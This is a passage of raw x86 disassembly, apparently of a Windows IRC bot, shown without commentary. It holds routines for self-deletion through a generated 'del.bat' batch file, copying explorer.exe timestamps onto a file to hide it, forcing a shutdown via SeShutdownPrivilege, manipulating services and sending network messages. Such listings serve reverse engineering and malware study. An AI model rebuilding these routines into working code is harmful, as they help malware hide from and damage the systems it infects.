cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CD20 add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DFEC cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; ___:00415EEBp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C500 push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B9C0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DFEC pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DFEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+arg_0] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2680972h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27E0000h lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DB17C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C360 add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9A4 test eax, eax jz short loc_41875A push 1 call dword_4CB9C4 mov esi, eax test esi, esi jz short loc_41875A push edi push esi call near ptr 27E1707h nop push esi mov edi, eax nop call near ptr 27E10C4h call dword_4CBA28 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9E0 mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 27F0498h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 27F02CDh push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C266 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA30 push esi push 1 push 4C9h push ebp call dword_4CBA30 push ebx nop call near ptr 27F0000h push edi nop call near ptr 26608D5h push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBA90 test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2800764h push ebx mov ebx, dword_427070 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2800000h push esi call ebx loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB914 neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; ___:00416C12p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAA4, esi jnz short loc_4188CA push esi call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26A0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27107C1h mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2700000h push edi call near ptr 26608D5h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BF70 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB88 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2690000h push eax call near ptr 2670000h nop lea eax, [ebp+var_15C] push eax nop call near ptr 2680E33h cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2680D6Ah loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call near ptr 2810000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2660B67h loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D04D8h cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB954 push edi push eax call dword_4CB964 test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset dword_4394FC loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+var_294] push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j call near ptr 2680972h nop push eax push offset unk_4394D4 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+var_294] push offset unk_4394A4 push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D04D8h cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26B0000h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26B032Eh push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E0D4 lea eax, [ebp+var_F8] push eax call sub_41E0B7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi call near ptr 27907BAh nop mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 269083Ah nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276E0 call sub_41D174 sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439520[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43951C[esi] push offset unk_439630 loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset dword_4DBA40 push esi call sub_41C266 add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439604 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DBA40 push off_439518[eax*4] push offset unk_4395E0 push esi call sub_41C266 add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9C8 mov edi, eax cmp edi, ebx jnz short loc_418CAF nop call near ptr 2680972h mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8B0 mov esi, eax cmp esi, ebx jnz short loc_418CCF nop call near ptr 2680972h mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB91C jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8B8 jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB920 loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 call near ptr 2680972h nop mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8CC loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8CC pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E96[ecx] jmp off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: ___:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset dword_4DB380 call sub_41C266 pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB380 call sub_41C266 add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset dword_4DB380 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9C8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB994 test eax, eax jnz short loc_418F1A nop call near ptr 2680972h cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused_0 ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+var_20] push eax call sub_41C266 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C266 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8CC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_439518[eax*4] push offset unk_439BC4 push esi call sub_41C266 add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] push edi push 0 call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_43951C[eax*4] push offset dword_439BA8 push esi call sub_41C266 add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB63C lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439B84 push esi call sub_41C266 add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DB83C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB83C, 1 lea eax, [ebp+1] push eax call sub_41D9A5 pop ecx mov dword_4DB5DC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5DC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB5DC pop 